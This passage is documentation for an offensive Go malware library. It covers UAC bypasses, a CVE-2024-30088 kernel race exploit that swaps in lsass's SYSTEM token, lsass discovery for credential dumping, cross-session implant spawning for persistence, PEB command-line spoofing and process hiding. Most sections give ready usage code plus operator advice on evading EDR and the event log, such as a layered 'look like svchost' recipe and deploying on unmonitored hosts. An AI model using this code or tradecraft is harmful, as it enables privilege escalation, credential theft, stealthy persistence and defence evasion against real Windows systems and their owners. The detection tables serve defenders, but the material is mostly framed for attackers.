detection focus, plus Microsoft-Windows-Sysmon/Operational event
13 (registry write) under HKCU\Software\Classes\<unusual>.
EventVwrLogon(domain, user, password, path)
EventVwr variant that uses CreateProcessWithLogonW to launch the
auto-elev binary under different credentials. Useful when the
current implant is running as a non-admin user and you have admin
creds — the Secondary Logon service runs the elevated child.
Examples
Simple — FODHelper
if err := uac.FODHelper(`C:\Users\Public\impl.exe`); err != nil {
return err
}
// Sleep enough for fodhelper.exe to read+launch before cleanup.
time.Sleep(2 * time.Second)
Composed — pre-flight then choose
import (
"github.com/oioio-space/maldev/privesc/uac"
"github.com/oioio-space/maldev/win/privilege"
"github.com/oioio-space/maldev/win/version"
)
admin, elevated, _ := privilege.IsAdmin()
if elevated || !admin {
return errors.New("not a UAC scenario")
}
v := version.Current()
switch {
case version.AtLeast(version.WINDOWS_10_22H2):
return uac.FODHelper(payload)
case v.BuildNumber >= 7600 && v.BuildNumber < 17134:
return uac.EventVwr(payload)
default:
return uac.SilentCleanup(payload)
}
Advanced — chain into ImpersonateThread
After the bypass spawns an elevated child, the child can call
win/impersonate.GetSystem for the
Medium-IL → SYSTEM jump (winlogon.exe token clone). End-to-end:
Medium → High via UAC → SYSTEM via SeDebugPrivilege.
OPSEC & Detection
| Vector | Visibility | Mitigation |
|---|---|---|
| HKCU registry write | Sysmon ID 13 / 14 | Use Software\Classes\<random> key only when needed; clean fast |
| Auto-elev process tree | Sysmon ID 1 + parent-child rule | Inject into explorer.exe first to break the lineage |
| Hijacked binary parent of cmd | Microsoft-Windows-Security 4688 | Same as above |
| Build-windowed primitives | Vendor signatures recognise the hijack key paths | Choose primitive per win/version |
fodhelper.exe → cmd.exe is a textbook EDR rule. Real engagements
inject the elevated payload into a long-lived child (e.g.,
process/herpaderping) rather than
spawning cmd.exe directly.
MITRE ATT&CK
- T1548.002 (Bypass User Account Control)
Limitations
- All five fail under "Always notify" UAC.
- All five fail when the user is not admin.
- HKCU key paths and DelegateExecute behaviour have shifted across
builds.
EventVwris dead from Win10 17134+. - The hijack window is narrow but non-zero — defenders snapshotting HKCU during incident response will see the leftover key.
See also
win/privilege— IsAdmin / ExecAswin/version— build gatingprocess/herpaderping— disposable elevated host processprivesc/cve202430088— kernel route to SYSTEM (no UAC dependency)
CVE-2024-30088 — kernel TOCTOU → SYSTEM
← privesc techniques · docs/index
TL;DR
cve202430088.Run(ctx) exploits a Windows kernel TOCTOU race in
AuthzBasepCopyoutInternalSecurityAttributes to swap the calling
thread's primary token with lsass.exe's SYSTEM token. CVSS 7.0,
patched June 2024 (KB5039211). Use only in authorised
engagements — the race is non-deterministic and may BSOD on misfire.
[!WARNING] Race exploits crash kernels when they misfire. The exploit retries until success or context cancellation. Do not run on hosts where a reboot is unacceptable. Always pre-flight with
version.CVE202430088()to confirm the host is in the vulnerable build window.
Primer
AuthzBasepCopyoutInternalSecurityAttributes is invoked by
NtAccessCheckByTypeAndAuditAlarm when the caller queries a
SECURITY_DESCRIPTOR they own. The kernel reads the descriptor,
validates it, and then re-reads to copy. Between the two reads the
attacker swaps the descriptor pointer to a kernel object — the
second read lands inside kernel space and the kernel happily writes
the operator-controlled bytes to the new target.
The write primitive is pivoted into a token swap:
- Locate
lsass.exe's_EPROCESSand read itsToken. - Use the kernel write to overwrite
_EPROCESS.Tokenof the calling process with the SYSTEM token. - Subsequent thread spawns inherit SYSTEM — the elevation is permanent for the process lifetime.
Discovery: k0shl (Angelboy) — DEVCORE. CWE-367.
Affected versions
| OS | Vulnerable until | Patched in |
|---|---|---|
| Windows 10 1507 → 22H2 | June 2024 patch | KB5039211 family |
| Windows 11 21H2 → 23H2 | June 2024 patch | KB5039239 / KB5039212 |
| Windows Server 2016 / 2019 / 2022 / 2022 23H2 | June 2024 patch | KB504xxxx family |
version.CVE202430088() returns the precise vulnerable/patched
state including the UBR cut-off.
How it works
sequenceDiagram
participant U as "User-mode race-thread"
participant K as "Kernel"
participant Lsa as "lsass.exe (PPL)"
par Race thread
U->>U: flip SD ptr → kernel obj
and Probe thread
U->>K: NtAccessCheckByTypeAndAuditAlarm(SD*)
K->>K: read SD (validate)
K->>K: re-read SD (copy)
Note over K: SD ptr now points to kernel obj<br>(race won)
K->>K: kernel write @ controlled addr
end
U->>K: read lsass _EPROCESS.Token
K-->>U: SYSTEM token handle
U->>K: kernel write self._EPROCESS.Token = SYSTEM
K-->>U: success
U->>U: spawn cmd.exe — inherits SYSTEM
Implementation:
Runresolves the kernel symbols it needs viawin/versiongated lookup tables (offsets to_EPROCESS.Token,Pcb.ImageFileName).- Spawns the race thread that flips the descriptor pointer in a tight loop.
- Spawns the probe thread that calls
NtAccessCheckByTypeAndAuditAlarmrepeatedly. - Once a write lands the exploit reads
lsass.Tokenand overwritesself.Token. - By default, spawns
cmd.exeas the post-elevation command. UseRunWithExecto override.
API Reference
type Result struct {
PID int // PID elevated (== current PID)
Spawned *exec.Cmd // post-elev process
Duration time.Duration // wall-clock time the race took
}
type Config struct {
Exec string // default "cmd.exe"
Args []string
Timeout time.Duration // default 30s
}
func DefaultConfig() Config
func Run(ctx context.Context) (*Result, error)
func RunWithExec(ctx context.Context, cfg Config) (*Result, error)
func CheckVersion() (VersionInfo, error)
Run(ctx) (*Result, error)
Parameters:
ctx— cancel via context to abort the race.
Returns:
*Result— populatedPID/Spawned/Durationon success.error—ErrPatchedif pre-flight detects a patched build,ErrTimeoutif the race window expires before success, or wrapped syscall errors for kernel-side failures.
Side effects:
- Modifies the calling process's
_EPROCESS.Tokenpermanently (until process exit). - Spawns
cmd.exe(orConfig.Exec) as the elevated child. - Logs to ETW providers monitored by EDRs (race thread NtCalls).
OPSEC: noisy — see Detection table below.
RunWithExec(ctx, cfg) (*Result, error)
Same as Run but uses cfg.Exec + cfg.Args as the post-elev
command. Use this when you want to spawn an implant directly
instead of cmd.exe.
CheckVersion() (VersionInfo, error)
Companion to version.CVE202430088. Returns
VersionInfo with Vulnerable boolean.
Examples
Simple — pre-flight then run
import (
"context"
"github.com/oioio-space/maldev/privesc/cve202430088"
"github.com/oioio-space/maldev/win/version"
)
if info, _ := version.CVE202430088(); !info.Vulnerable {
return errors.New("host patched")
}
res, err := cve202430088.Run(context.Background())
if err != nil {
return err
}
defer res.Spawned.Wait()
Composed — custom payload spawn
cfg := cve202430088.Config{
Exec: `C:\Users\Public\impl.exe`,
Args: []string{"--once", "--quiet"},
Timeout: 60 * time.Second,
}
res, err := cve202430088.RunWithExec(context.Background(), cfg)
if err != nil {
return err
}
log.Printf("elevated in %s, payload PID %d", res.Duration, res.Spawned.Process.Pid)
Advanced — fall-through chain
admin, elevated, _ := privilege.IsAdmin()
if elevated {
return nil // already there
}
if admin {
if err := uac.FODHelper(payload); err == nil {
return nil
}
// UAC bypass blocked → fall through to kernel exploit
}
if info, _ := version.CVE202430088(); info.Vulnerable {
_, err := cve202430088.Run(ctx)
return err
}
return errors.New("no escalation path available")
OPSEC & Detection
| Vector | Visibility | Mitigation |
|---|---|---|
Tight NtAccessCheckByTypeAndAuditAlarm loop | ETW Microsoft-Windows-Threat-Intelligence | Throttle race thread; accept lower success rate |
_EPROCESS.Token swap detected by snapshot diffing | EDR kernel callbacks (PsSetCreateProcessNotifyRoutineEx) | None — the swap is the goal |
| BSOD on misfire | Crash dump + 0x7E / 0x50 stop code | Pre-flight version check; abort on hardened hosts |
| Post-elev cmd.exe | Process tree (your PID parent of cmd.exe SYSTEM) | Use RunWithExec for in-process payload spawn |
This primitive is in vendor signature databases as of mid-2024. Defender + ESET + Sentinel detect the race window via ETW. Best deployed on hosts you have already determined are unmonitored.
MITRE ATT&CK
- T1068 (Exploitation for Privilege Escalation) — kernel TOCTOU
- T1134.001 (Token Impersonation/Theft) —
_EPROCESS.Tokenswap
Limitations
- Race is non-deterministic. Default 30s timeout — increase via
Config.Timeoutfor hardened hosts where the race window is shorter. - May BSOD on misfire (kernel write to invalid address). The exploit guards against the most common misfires but cannot rule them out.
- Requires
SeChangeNotifyPrivilege(granted to all users) and Windows 10 1507+ — not Win7/8. - Patched hosts (post-June 2024) return
ErrPatchedfrom pre-flight.
See also
win/version—CVE202430088()pre-flightprivesc/uac— non-kernel route when UAC is in playwin/token— companion token primitives
Process techniques
The process/* package tree groups two concerns:
- Discovery / management (
enum,session) — cross-platform process listing and Windows session / token enumeration. - Tampering (
tamper/fakecmd,tamper/herpaderping,tamper/hideprocess,tamper/phant0m) — Windows-only primitives that lie about, hide, or silence parts of the running-process picture.
flowchart TB
subgraph discovery [Discovery / management]
ENUM[enum<br>Win32 Toolhelp + Linux /proc<br>List / FindByName / FindProcess]
SESS[session<br>WTSEnumerate + cross-session<br>CreateProcess / Impersonate]
end
subgraph tamper [process/tamper/*]
FK[fakecmd<br>PEB CommandLine spoof<br>self + remote PID]
HD[herpaderping<br>kernel image-section cache<br>Herpaderping + Ghosting]
HP[hideprocess<br>NtQSI patch in target<br>blind Task Manager / ProcExp]
PH[phant0m<br>EventLog thread termination<br>SCM still RUNNING]
end
subgraph consumers [Downstream consumers]
LSA[credentials/lsassdump]
INJ[inject/*]
EVA[evasion.Technique chains]
end
ENUM --> LSA
ENUM --> HP
ENUM --> PH
SESS --> INJ
HD --> EVA
PH --> EVA
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
process/enum | enum.md | quiet | Cross-platform process list / find-by-name (Windows + Linux) |
process/session | session.md | moderate | Windows session enum + cross-session CreateProcess / Impersonate |
process/tamper/fakecmd | fakecmd.md | quiet | PEB CommandLine spoof (self + remote PID) |
process/tamper/herpaderping | herpaderping.md | moderate | Kernel image-section cache exploit (Herpaderping + Ghosting) |
process/tamper/hideprocess | hideprocess.md | moderate | Patch NtQSI in target → blind Task Manager / ProcExp |
process/tamper/phant0m | phant0m.md | noisy | Terminate EventLog worker threads; SCM still shows RUNNING |
Quick decision tree
| You want to… | Use |
|---|---|
| …find a process by name (cross-platform) | enum.FindByName |
| …enumerate Windows sessions / users | session.Active |
| …spawn under another user's token | session.CreateProcessOnActiveSessions |
| …run a callback under another user's identity briefly | session.ImpersonateThreadOnActiveSession |
| …spoof your process's command-line in user-mode triage | fakecmd.Spoof |
| …spawn a process whose disk image lies | herpaderping.Run (ModeHerpaderping or ModeGhosting) |
| …blind a single analyst tool's process listing | hideprocess.PatchProcessMonitor |
…silence the Windows Event Log without sc stop | phant0m.Kill |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1057 | Process Discovery | process/enum, process/session | D3-PA |
| T1134.001 | Access Token Manipulation: Token Impersonation/Theft | process/session | D3-USA |
| T1134.002 | Access Token Manipulation: Create Process with Token | process/session | D3-PSA |
| T1036.005 | Masquerading: Match Legitimate Name or Location | process/tamper/fakecmd | D3-PSA |
| T1055.013 | Process Doppelgänging | process/tamper/herpaderping | D3-PSA, D3-FCA |
| T1027.005 | Indicator Removal from Tools | process/tamper/hideprocess, process/tamper/herpaderping | D3-SCA |
| T1564.001 | Hide Artifacts: Hidden Process | process/tamper/hideprocess | D3-RAPA |
| T1562.002 | Impair Defenses: Disable Windows Event Logging | process/tamper/phant0m | D3-RAPA, D3-PA |
Layered cover recipe
A typical "look like svchost while running implant work" stack:
- Spawn via
herpaderpingso the on-disk image lies (or is gone, withModeGhosting). - PEB CommandLine via
fakecmd.Spoofso user-mode triage showssvchost.exe -k netsvcs. - Identity at link time via
pe/masquerade/preset/svchostso VERSIONINFO + manifest + icon all match. - Authenticode via
pe/cert.Copyso file-property dialogs see a Microsoft signature. - Triage tools via
hideprocessso the first user opening Task Manager sees nothing. - Logs via
phant0m.Killso EventLog doesn't capture lateral activity.
Each step has its own detection profile; layered, the bar rises significantly.
See also
- Operator path: process tampering
- Detection eng path: process telemetry
pe/masquerade— link-time identity clone.pe/cert— Authenticode graft.evasion/etw— pair with phant0m for full logging silence.credentials/lsassdump— primary consumer ofprocess/enum.inject— alternative toprocess/tamper/herpaderpingfor in-process delivery.
Process enumeration
TL;DR
List or find running processes by name across Windows + Linux.
Pure Go on top of CreateToolhelp32Snapshot / /proc. Used by
credentials/lsassdump to find lsass, by process/tamper/phant0m
to find the EventLog svchost, and by every "find this process by
name" workflow that doesn't want a Windows-specific dependency.
Primer
Process enumeration is the "hello world" of post-exploitation
discovery. Every implant eventually wants to find lsass.exe,
explorer.exe, the EventLog svchost, the user's browser. The
package wraps the platform's standard listing API and surfaces
the same Process struct shape on both OSes.
The technique itself is universally invisible — every Task
Manager, every ps, every container runtime calls these
APIs. EDRs do not flag the enumeration; they correlate it
against subsequent suspicious actions (lsass open, token
theft, process hollowing).
How It Works
flowchart LR
subgraph win [Windows]
TH[CreateToolhelp32Snapshot<br>TH32CS_SNAPPROCESS]
TH --> P32[Process32First/Next walk]
P32 --> WIN[Process<br>PID/PPID/Name]
end
subgraph linux [Linux]
PROC[walk /proc/<pid>/]
PROC --> COMM[read comm + status]
COMM --> LIN[Process<br>PID/PPID/Name]
end
WIN --> OUT[List or FindByName or FindProcess]
LIN --> OUT
The comm file on Linux carries the truncated 16-byte process
name; for the full executable path use process/session.ImagePath
(Windows-only) or read /proc/<pid>/exe.
API Reference
type Process
| Field | Type | Description |
|---|---|---|
PID | uint32 | Process ID |
PPID | uint32 | Parent process ID |
Name | string | Image base name (e.g., notepad.exe) |
Functions
| Symbol | Description |
|---|---|
List() ([]Process, error) | Snapshot of every running process |
FindByName(name string) ([]Process, error) | Filter by image name (case-insensitive on Windows) |
FindProcess(pred) (*Process, error) | First match where pred(name, pid, ppid) returns true |
Examples
Simple — list everything
import "github.com/oioio-space/maldev/process/enum"
procs, _ := enum.List()
for _, p := range procs {
fmt.Printf("%5d %5d %s\n", p.PID, p.PPID, p.Name)
}
Composed — find lsass + open it
import (
"github.com/oioio-space/maldev/credentials/lsassdump"
"github.com/oioio-space/maldev/process/enum"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
procs, _ := enum.FindByName("lsass.exe")
if len(procs) == 0 {
return
}
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
h, err := lsassdump.OpenLSASS(caller)
defer lsassdump.CloseLSASS(h)
Advanced — predicate-based search
Find a child of explorer.exe that runs from a user-writable path — typical pattern for finding an injection target.
explPID := uint32(0)
procs, _ := enum.FindByName("explorer.exe")
if len(procs) > 0 {
explPID = procs[0].PID
}
target, _ := enum.FindProcess(func(name string, pid, ppid uint32) bool {
return ppid == explPID && strings.HasSuffix(name, ".exe")
})
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS) calls | Universal API — every Task Manager, AV, EDR uses it. Not a useful signal. |
| Sustained polling of process list | Behavioural EDR may flag a process that calls Process32Next thousands of times per second |
Enumeration immediately followed by OpenProcess(lsass, VM_READ) | EDR rule correlation — credential dumping pattern |
/proc walks from non-shell processes | Linux EDR rules; rare unless the implant polls aggressively |
D3FEND counters:
- D3-PA — behavioural correlation of enumeration + subsequent open/inject calls.
Hardening for the operator:
- Enumerate once, cache, reuse — sustained polling stands out.
- Scope
FindProcesspredicates tightly so the package short-circuits on the first match (avoid full snapshot walks when you only need one PID). - Pair with
process/session.Activeinstead of full enum when you only need logged-in interactive sessions.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1057 | Process Discovery | full — name + predicate search across Windows + Linux | D3-PA |
Limitations
Process32Nextrace conditions. Processes can exit between snapshot and read; Windows handles this gracefully butFindProcessmay miss a process that existed at the start of the walk.- No image-path resolution.
Processcarries name only. For full path useprocess/session.ImagePath(Windows) or read/proc/<pid>/exe(Linux). - No command-line. PEB-based command-line surfacing is out of scope; use a separate ETW / WMI query when the command line matters.
- Linux
commis truncated. 15 chars + nul. Process names longer than that need/proc/<pid>/cmdline[0].
See also
process/session— Windows-specific session + threads + modules + image-path enumeration.credentials/lsassdump— primary consumer (find lsass).process/tamper/phant0m— consumer (find EventLog svchost).- Operator path.
- Detection eng path.
Session enumeration & cross-session execution
TL;DR
Enumerate Windows logon sessions via WTSEnumerateSessions,
spawn processes under another user's token with proper
station/desktop handles, and impersonate other users on a
locked OS thread. Used to plant per-user persistence across
multi-user hosts (Citrix / RDS / terminal server) and to run
short callbacks under alternate credentials without spawning
a full process. Windows-only.
Primer
A multi-user Windows host runs a separate logon session per interactive user, each with its own desktop, station, and token. Implants planted in one session can't influence another by default — process creation in session 0 doesn't appear on the user's desktop, and a kerberos ticket cached in user A's session is invisible to user B.
process/session bridges those gaps:
List/Activeenumerate sessions via WTS APIs.Activefilters to currently-logged-on interactive sessions — the ones that matter operationally.CreateProcessOnActiveSessionsspawns a process under another user's token in their desktop — useful for per-user persistence on a host that won't reboot soon.ImpersonateThreadOnActiveSessionruns a callback on a locked OS thread under alternate credentials, then reverts. Useful for filesystem / network operations that need the user's identity but not a full process.
The package handles the Win32 plumbing: token duplication,
environment-block construction (CreateEnvironmentBlock),
profile loading (LoadUserProfile), station + desktop
attachment (winsta0\default).
How It Works
sequenceDiagram
participant Op as "Operator"
participant WTS as "WTSEnumerateSessions"
participant Tok as "token.Token (user)"
participant Env as "CreateEnvironmentBlock"
participant CP as "CreateProcessAsUser"
participant Imp as "Implant"
Op->>WTS: List() / Active()
WTS-->>Op: []Info{SessionID, Username, …}
Op->>Tok: WTSQueryUserToken(sessionID)
Op->>Env: CreateEnvironmentBlock(tok)
Op->>CP: CreateProcessAsUser(tok, exe, env, "winsta0\\default")
CP->>Imp: process spawned in user's desktop
API Reference
type SessionState uint32 / type Info
Info carries SessionID, Username, State, Domain,
StationName — the surface returned by WTSEnumerateSessions.
Functions
| Symbol | Description |
|---|---|
List() ([]Info, error) | Every session known to WTS |
Active() ([]Info, error) | WTSActive-state sessions only (logged-on interactive) |
Threads(pid uint32) ([]uint32, error) | Per-process thread ID listing |
ImagePath(pid uint32) (string, error) | Resolve full image path via QueryFullProcessImageName |
Modules(pid uint32) ([]Module, error) | Loaded modules list |
CreateProcessOnActiveSessions(tok, exe, args) | Spawn under another user's token + parent's desktop (default — typically Winsta0\Default for an interactive logon) |
CreateProcessOnActiveSessionsWith(tok, exe, args, opts) | [Options]-aware variant — set Options.Desktop to override the destination winstation\desktop (STARTUPINFOW.lpDesktop) |
ImpersonateThreadOnActiveSession(tok, fn) | Run fn on locked OS thread under tok's credentials |
type Options
| Field | Description |
|---|---|
Desktop | Destination winstation\desktop name passed via STARTUPINFOW.lpDesktop. Empty (default) inherits the caller's station+desktop — Winsta0\Default for an interactive logon, Service-0x0-3e7$\Default for SYSTEM service contexts. Set this to redirect spawned UI onto a hidden desktop or a specific service station. |
Examples
Simple — list active sessions
import "github.com/oioio-space/maldev/process/session"
infos, _ := session.Active()
for _, i := range infos {
fmt.Printf("session %d: %s\\%s (%v)\n",
i.SessionID, i.Domain, i.Username, i.State)
}
Composed — per-user persistence on RDS
Spawn the implant under each active user's token so each user sees the persistence in their session.
import (
"github.com/oioio-space/maldev/process/session"
"github.com/oioio-space/maldev/win/token"
)
infos, _ := session.Active()
for _, i := range infos {
tok, err := token.WTSQueryUserToken(i.SessionID)
if err != nil {
continue
}
_ = session.CreateProcessOnActiveSessions(tok,
`C:\Users\Public\winupdate.exe`,
[]string{"--silent"},
)
}
Advanced — short impersonation for SMB write
Mount a per-user workflow under a target user's identity without spawning a separate process.
import (
"os"
"github.com/oioio-space/maldev/process/session"
"github.com/oioio-space/maldev/win/token"
)
tok, _ := token.WTSQueryUserToken(targetSessionID)
_ = session.ImpersonateThreadOnActiveSession(tok, func() error {
// Inside this callback, the OS thread runs as the user.
// Network / file ops use the user's credentials.
f, err := os.Create(`\\fileshare\\users\\target\\report.docx`)
if err != nil {
return err
}
return f.Close()
})
Advanced — alternate desktop / station
CreateProcessOnActiveSessionsWith opens the door to redirecting
the spawned process onto a non-default desktop. Two operator
scenarios:
import (
"github.com/oioio-space/maldev/process/session"
"github.com/oioio-space/maldev/win/token"
)
tok, _ := token.WTSQueryUserToken(sessionID)
// 1) Spawn onto the SYSTEM service station (when running as SYSTEM
// and you want the new process to live alongside services
// instead of jumping into the user's interactive desktop).
_ = session.CreateProcessOnActiveSessionsWith(tok,
`C:\Windows\System32\cmd.exe`,
nil,
session.Options{Desktop: `Service-0x0-3e7$\Default`},
)
// 2) Spawn onto a hidden desktop you set up upstream via
// CreateDesktopW so the UI is invisible to the user even if the
// binary creates windows.
_ = session.CreateProcessOnActiveSessionsWith(tok,
`C:\Users\Public\impl.exe`,
nil,
session.Options{Desktop: `Winsta0\maldev-stealth`},
)
See ExampleList
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Security Event 4624 (logon) with type 9 (NewCredentials) | Cross-session process creation + impersonation |
| Security Event 4648 (explicit credentials logon) | Token-based process creation |
| Process tree: svchost spawning under a user that doesn't own svchost | Lineage anomaly — Defender / MDE rules |
WTSEnumerateSessions from non-Microsoft processes | Rare; some EDRs flag |
| Multiple sessions seeing the same implant binary path simultaneously | Per-user persistence pattern |
D3FEND counters:
Hardening for the operator:
- Use a binary path consistent with the cloned identity
(
%LOCALAPPDATA%\Microsoft\OneDrive\…for OneDrive-looking persistence). - For RDS / Citrix targets, prefer
ImpersonateThreadOnActiveSessionfor one-shot ops overCreateProcessOnActiveSessions— no new process to log. - Pair with
process/tamper/fakecmdso the spawned child's PEB CommandLine matches a legitimate per-user task.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1134.002 | Access Token Manipulation: Create Process with Token | full | D3-PSA |
| T1134.001 | Access Token Manipulation: Token Impersonation/Theft | full — ImpersonateThreadOnActiveSession | D3-USA |
Limitations
- Windows-only. Linux stub returns errors on every entry point.
- Token requirement.
WTSQueryUserTokenneeds SYSTEM context; without it, the operator can only operate in their own session. - Profile loading is heavy.
LoadUserProfilemounts the user's hive; on hosts where the user is rarely active this can take seconds. - Desktop / station defaults to inherit from the caller.
CreateProcessOnActiveSessions(legacy entry point) leavesSTARTUPINFOW.lpDesktopNULL, which inherits the caller's station+desktop — typicallyWinsta0\Defaultfor an interactive logon. UseCreateProcessOnActiveSessionsWith+Options.Desktopto override (operator-controlled hidden desktops, SYSTEM service stations, etc.). Pre-existing Winlogon-owned desktops (Secure Desktop, Lock Screen) still reject CreateProcessAsUser by ACL — that boundary stays. - No reverse path. Once impersonating, this package's
callback model auto-reverts; long-running impersonation
requires manual
RevertToSelfdiscipline elsewhere.
See also
win/token— token primitives feeding this package.win/impersonate— sibling impersonation helpers.process/enum— sibling cross-platform process walker.persistence/service— alternative SYSTEM-scope persistence that doesn't require per-user tokens.- Operator path.
- Detection eng path.
PEB CommandLine spoof (FakeCmd)
TL;DR
Overwrite the current process's PEB CommandLine UNICODE_STRING
so process-listing tools (Task Manager, Process Explorer, wmic,
Get-Process) display a fake command-line. Self (Spoof) or
remote (SpoofPID). Kernel EPROCESS retains the real value so
ETW-side telemetry is not fooled.
Primer
When a defender lists processes (Task Manager, Process Explorer,
Get-Process | Select CommandLine, Sysmon Event ID 1), the
command-line shown is read out of the target process's PEB,
not from a separate kernel record. The kernel keeps a frozen
copy in EPROCESS.SeAuditProcessCreationInfo captured at
process creation that user-mode cannot rewrite.
fakecmd overwrites the user-mode PEB field so every user-mode
reader sees a benign command-line — a beaconing implant
launched as C:\evil.exe --c2 1.2.3.4 can present itself as
C:\Windows\System32\svchost.exe -k netsvcs.
This fools user-mode triage; kernel-sourced telemetry (Sysmon
ProcessCreate via ETW-Ti, PsSetCreateProcessNotifyRoutineEx,
Defender's MsSense, MDE) still sees the original. Pair with
pe/masquerade to also clone the binary's
embedded VERSIONINFO so user-mode triage of the on-disk file
matches.
How It Works
sequenceDiagram
participant Reader as "Process Explorer / Sysmon-usermode / EDR"
participant PEB as "Target PEB"
participant PP as "RTL_USER_PROCESS_PARAMETERS"
participant CmdLine as "UNICODE_STRING CommandLine"
participant Kernel as "EPROCESS<br>(SeAuditProcessCreationInfo)"
Note over PEB,PP: Setup at process creation
PP->>CmdLine: Length / MaximumLength / Buffer = "evil.exe --c2 …"
Kernel-->>Kernel: SeAuditProcessCreationInfo = "evil.exe --c2 …" (frozen)
Note over PEB,CmdLine: fakecmd.Spoof rewrites here
CmdLine->>CmdLine: Buffer ← "svchost.exe -k netsvcs"<br>Length / MaximumLength updated
Reader->>PEB: NtQueryInformationProcess(ProcessBasicInformation)
Reader->>PP: Follow PEB.ProcessParameters
Reader->>CmdLine: Read CommandLine
CmdLine-->>Reader: "svchost.exe -k netsvcs" (fake)
Reader->>Kernel: ETW / audit
Kernel-->>Reader: "evil.exe --c2 …" (real)
Layout: PEB.ProcessParameters (offset +0x20 x64) →
RTL_USER_PROCESS_PARAMETERS → CommandLine UNICODE_STRING
at RUPP+0x70. Overwrite Length, MaximumLength, and
Buffer with the new UTF-16 string.
Self vs remote:
Spoofrewrites the current process's own PEB — no privilege needed, instant.SpoofPIDrewrites another process's PEB viaOpenProcess(VM_READ|VM_WRITE|VM_OPERATION|QUERY_INFORMATION)NtQueryInformationProcess+NtAllocateVirtualMemory+WriteProcessMemory. Typically requires SeDebugPrivilege.
API Reference
| Symbol | Description |
|---|---|
Spoof(fakeCmd, caller) error | Self PEB rewrite |
Restore() error | Write the saved original back |
Current() string | Read the current PEB CommandLine |
SpoofPID(pid, fakeCmd, caller) error | Remote PEB rewrite (admin / SeDebugPrivilege) |
caller=nil uses direct WinAPI; pass a *wsyscall.Caller to
route the PEB read/write through direct/indirect syscalls.
Examples
Simple — self spoof
import "github.com/oioio-space/maldev/process/tamper/fakecmd"
if err := fakecmd.Spoof(`C:\Windows\System32\svchost.exe -k netsvcs`, nil); err != nil {
return
}
defer fakecmd.Restore()
Composed — indirect syscall
import (
"github.com/oioio-space/maldev/process/tamper/fakecmd"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
_ = fakecmd.Spoof(`C:\Windows\System32\svchost.exe -k netsvcs`, caller)
defer fakecmd.Restore()
Advanced — PPID-spoof + child PEB rewrite
Pair PPID spoofing with PEB rewrite so user-mode triage sees
explorer.exe → svchost.exe -k netsvcs -p -s Schedule instead
of cmd.exe → implant.exe --c2 ….
import (
"os"
"os/exec"
"github.com/oioio-space/maldev/c2/shell"
"github.com/oioio-space/maldev/process/tamper/fakecmd"
)
if os.Getenv("RESPAWNED") == "" {
sp := shell.NewPPIDSpooferWithTargets([]string{"explorer.exe"})
_ = sp.FindTargetProcess()
attr, h, _ := sp.SysProcAttr()
cmd := exec.Command(os.Args[0])
cmd.Env = append(os.Environ(), "RESPAWNED=1")
cmd.SysProcAttr = attr
_ = cmd.Start()
_ = h
return
}
_ = fakecmd.Spoof(
`C:\Windows\System32\svchost.exe -k netsvcs -p -s Schedule`,
nil,
)
defer fakecmd.Restore()
runBeacon()
See ExampleSpoof.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| User-mode PEB CommandLine | Spoofed; user-mode triage sees fake |
Kernel EPROCESS.SeAuditProcessCreationInfo | Real — Sysmon Event 1 (kernel ETW) sees the original |
| Sysmon ProcessCreate event | Built from kernel ETW, not user-mode PEB → real value |
wmic process queries | User-mode → fake |
tasklist /v | User-mode → fake |
| Process Hacker / Process Explorer | User-mode → fake |
| Defender for Endpoint MsSense alerts | Kernel ETW-Ti → real |
D3FEND counters:
- D3-PSA — kernel ETW-based lineage / command-line capture is unaffected.
- D3-SEA
— pair with
pe/masqueradeto also fool the on-disk PE static-info reader.
Hardening for the operator:
- Pair with
pe/masqueradefor binary identity match. - Pair with PPID spoofing (
c2/shell.PPIDSpoofer) so the process tree also looks plausible. - Defer
Restore()if the process is long-running — cached PEB reads after dump-and-revive can otherwise expose the fake. - Don't rely on this against EDRs whose ProcessCreate telemetry is sourced from kernel ETW (most modern stacks).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1036.005 | Masquerading: Match Legitimate Name or Location | partial — user-mode CommandLine only | D3-PSA |
| T1564 | Hide Artifacts | generic | D3-SEA |
Limitations
- User-mode only. Kernel ETW-Ti, Sysmon Event 1,
PsSetCreateProcessNotifyRoutineExall see the real value. - Cached reads. Tools that cached the original CommandLine before spoofing display the original until they refresh.
- No image-path spoof. Spoof rewrites CommandLine, not
ImagePathName. Pair withpe/masqueradefor binary metadata cloning. - Remote spoof requires SeDebugPrivilege.
SpoofPIDopens the target withVM_WRITE+VM_OPERATION.
See also
pe/masquerade— pair to clone embedded VERSIONINFO + manifest.process/tamper/hideprocess— sibling user-mode tampering surface.win/syscall— direct/indirect syscall caller routing.- Operator path.
- Detection eng path.
Hide processes from Task Manager (NtQSI patch)
TL;DR
Patch NtQuerySystemInformation in a target process so it
returns STATUS_NOT_IMPLEMENTED. The target's process listing
becomes empty — Task Manager, Process Explorer, ProcessHacker,
Get-Process running inside that process all show nothing.
Other processes (EDR agents, kernel telemetry) are unaffected.
Primer
Process-listing tools all ultimately call
NtQuerySystemInformation(SystemProcessInformation, …) to ask
the kernel for the running-process snapshot. hideprocess
doesn't hide processes from the kernel — it goes into a
specific user-mode tool's address space and patches that
tool's NtQuerySystemInformation prologue so the syscall
never happens. The function returns STATUS_NOT_IMPLEMENTED
immediately; the tool sees an empty list.
This is blinding the analyst's tool, not hiding the target. Defenders running an EDR agent that does its own enumeration from a separate, un-patched process see everything normally; kernel-sourced telemetry (Sysmon, Microsoft-Windows-Threat-Intelligence ETW, MsSense) is unaffected.
How It Works
sequenceDiagram
participant Impl as "Implant"
participant Target as "Taskmgr.exe (target)"
participant NtQSI as "ntdll!NtQuerySystemInformation"
Impl->>Impl: GetModuleHandle("ntdll.dll") + GetProcAddress("NtQSI")
